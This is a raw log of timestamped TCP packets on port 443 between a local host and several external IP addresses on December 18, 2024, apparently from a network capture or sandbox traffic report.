Dec 18, 2024 21:11:13.127608061 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.128423929 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.128439903 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.132256985 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.132266998 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.137134075 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.137154102 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.137207031 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.137213945 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.137622118 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.140249014 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.144316912 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.144340992 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.146878004 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.146888018 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.147350073 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.152509928 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.152527094 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.156228065 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.156234980 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.168185949 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.289200068 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.289220095 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.295332909 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.295347929 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.297116995 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.297137976 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.297704935 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.297710896 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.299349070 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.303998947 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.304016113 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.304147005 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.304147005 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.304147005 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.304156065 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.308280945 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.311994076 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.312009096 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.312316895 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.312325001 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.319720030 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.319739103 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.319888115 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.319895983 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.320025921 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.320291996 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.327110052 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.327125072 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.328265905 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.328273058 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.332585096 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.335015059 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.335030079 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.336210966 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.336219072 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.341865063 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.341882944 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.341932058 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.341938019 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.342024088 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.344444036 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.481580019 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.481601000 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.484200954 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.484230995 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.489415884 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.489435911 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.489473104 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.489483118 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.489506960 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.492202997 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.497395992 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.497415066 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.497571945 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.497586012 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.499950886 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.504568100 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.504584074 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.508202076 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.508210897 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.512063980 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.512087107 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.512201071 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.512201071 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.512209892 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.519418001 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.519433022 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.519470930 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.519479036 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.519503117 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.519546032 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.519546032 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.527292967 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.527309895 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.528213024 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.528244019 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.532385111 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.540457010 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.540483952 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.541496038 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.541505098 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.541770935 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.674211979 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.674240112 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.674315929 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.674346924 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.674397945 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.681042910 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.681060076 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.681119919 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.681129932 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.681174040 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.688890934 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.688908100 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.688977957 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.688987970 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.689052105 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.696676970 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.696691990 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.696825981 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.696844101 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.696883917 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.703641891 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.703659058 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.703759909 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.803620100 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.803662062 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.803783894 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.804050922 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.804562092 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.804600000 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.804792881 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.804802895 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:15.360506058 CET	443	49734	142.250.181.132	192.168.2.6
Dec 18, 2024 21:11:15.360580921 CET	443	49734	142.250.181.132	192.168.2.6
Dec 18, 2024 21:11:15.361697912 CET	49734	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:11:16.972950935 CET	49734	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:11:16.972971916 CET	443	49734	142.250.181.132	192.168.2.6
Dec 18, 2024 21:11:20.635777950 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:20.635827065 CET	443	49799	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:20.635896921 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:20.637712002 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:20.637722969 CET	443	49799	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:23.041528940 CET	443	49799	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:23.041616917 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:23.044087887 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:23.044110060 CET	443	49799	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:23.044451952 CET	443	49799	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:23.046192884 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:23.046253920 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:23.046258926 CET	443	49799	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:23.046444893 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:23.087343931 CET	443	49799	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:23.708605051 CET	443	49799	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:23.709167957 CET	443	49799	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:23.709304094 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:23.709862947 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:23.709883928 CET	443	49799	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:23.709903002 CET	49799	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:25.267191887 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:25.267254114 CET	443	49813	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:25.267335892 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:25.267625093 CET	49814	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:25.267682076 CET	443	49814	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:25.267776012 CET	49814	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:25.268202066 CET	49814	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:25.268203020 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:25.268218040 CET	443	49813	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:25.268220901 CET	443	49814	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.494390011 CET	443	49813	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.494973898 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.494998932 CET	443	49813	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.495992899 CET	443	49813	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.496200085 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.497103930 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.497150898 CET	443	49813	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.497158051 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.497286081 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.497286081 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.497294903 CET	443	49813	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.497304916 CET	443	49813	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.497371912 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.497626066 CET	49813	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.497700930 CET	49819	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.497755051 CET	443	49819	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.498023987 CET	49819	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.498233080 CET	49819	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.498248100 CET	443	49819	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.500895977 CET	443	49814	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.501100063 CET	49814	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.501127958 CET	443	49814	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.502615929 CET	443	49814	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.502685070 CET	49814	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.503557920 CET	49814	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.503612995 CET	49814	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.503643036 CET	443	49814	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.503662109 CET	49814	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.503695011 CET	49814	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.503974915 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.504033089 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:26.504112005 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.504304886 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:26.504326105 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.724170923 CET	443	49819	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.724477053 CET	49819	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:27.724550962 CET	443	49819	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.725661993 CET	443	49819	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.725747108 CET	49819	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:27.726794004 CET	49819	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:27.726872921 CET	443	49819	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.727035046 CET	49819	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:27.727052927 CET	443	49819	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.730268955 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.730484009 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:27.730510950 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.733939886 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.734009981 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:27.734311104 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:27.734395027 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.734468937 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:27.767132998 CET	49819	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:27.775355101 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.782742977 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:27.782762051 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:27.829628944 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:28.690776110 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:28.690888882 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:28.690980911 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:28.716825008 CET	49820	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:28.716850042 CET	443	49820	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:28.933518887 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:28.933556080 CET	443	49828	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:28.933618069 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:28.934425116 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:28.934438944 CET	443	49828	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:29.593363047 CET	443	49819	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:29.593476057 CET	443	49819	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:29.593611002 CET	49819	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:29.596286058 CET	49819	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:29.596317053 CET	443	49819	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:30.147356033 CET	443	49828	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:30.147838116 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.147851944 CET	443	49828	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:30.148893118 CET	443	49828	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:30.148952961 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.149701118 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.149725914 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.149751902 CET	443	49828	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:30.149904966 CET	443	49828	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:30.149946928 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.149996996 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.150010109 CET	443	49828	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:30.150026083 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.150053024 CET	49828	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.150475979 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.150518894 CET	443	49829	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:30.150585890 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.150799036 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:30.150811911 CET	443	49829	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:30.165880919 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:30.165931940 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:30.165990114 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:30.166265965 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:30.166280985 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:31.365540981 CET	443	49829	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:31.365892887 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:31.365907907 CET	443	49829	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:31.366909027 CET	443	49829	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:31.367028952 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:31.367505074 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:31.367557049 CET	443	49829	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:31.367722988 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:31.407851934 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:31.407881021 CET	443	49829	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:31.455334902 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:32.243565083 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:32.243827105 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:32.243856907 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:32.245400906 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:32.245454073 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:32.245461941 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:32.245497942 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:32.246488094 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:32.246578932 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:32.246732950 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:32.246738911 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:32.297154903 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:32.354255915 CET	443	49829	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:32.354363918 CET	443	49829	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:32.355402946 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:32.355402946 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:32.658113956 CET	49829	443	192.168.2.6	104.21.81.229
Dec 18, 2024 21:11:32.658149004 CET	443	49829	104.21.81.229	192.168.2.6
Dec 18, 2024 21:11:32.777863026 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:32.778122902 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:32.778244019 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:32.778578043 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:32.778601885 CET	443	49830	40.99.32.114	192.168.2.6
Dec 18, 2024 21:11:32.778613091 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:32.778671980 CET	49830	443	192.168.2.6	40.99.32.114
Dec 18, 2024 21:11:33.444178104 CET	49841	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:33.444274902 CET	443	49841	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:33.444360971 CET	49841	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:33.444679976 CET	49841	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:33.444717884 CET	443	49841	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:33.445260048 CET	49842	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:33.445317030 CET	443	49842	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:33.445384026 CET	49842	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:33.445869923 CET	49842	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:33.445883036 CET	443	49842	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.658943892 CET	443	49841	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.659420967 CET	49841	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.659442902 CET	443	49841	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.660918951 CET	443	49841	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.660993099 CET	49841	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.661000013 CET	443	49842	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.661334038 CET	49841	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.661365032 CET	49841	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.661407948 CET	443	49841	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.661422968 CET	49841	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.661458015 CET	49841	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.661807060 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.661839962 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.661946058 CET	49842	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.661963940 CET	443	49842	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.661998034 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.662282944 CET	49843	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.662292004 CET	443	49843	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.662995100 CET	443	49842	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.663070917 CET	49842	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.663387060 CET	49842	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.663408041 CET	49842	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.663444042 CET	443	49842	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.663479090 CET	49842	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.663563013 CET	49842	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.663927078 CET	49844	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.663955927 CET	443	49844	172.67.165.105	192.168.2.6
Dec 18, 2024 21:11:34.664124012 CET	49844	443	192.168.2.6	172.67.165.105
Dec 18, 2024 21:11:34.664210081 CET	49844	443	192.168.2.6	172.67.165.105
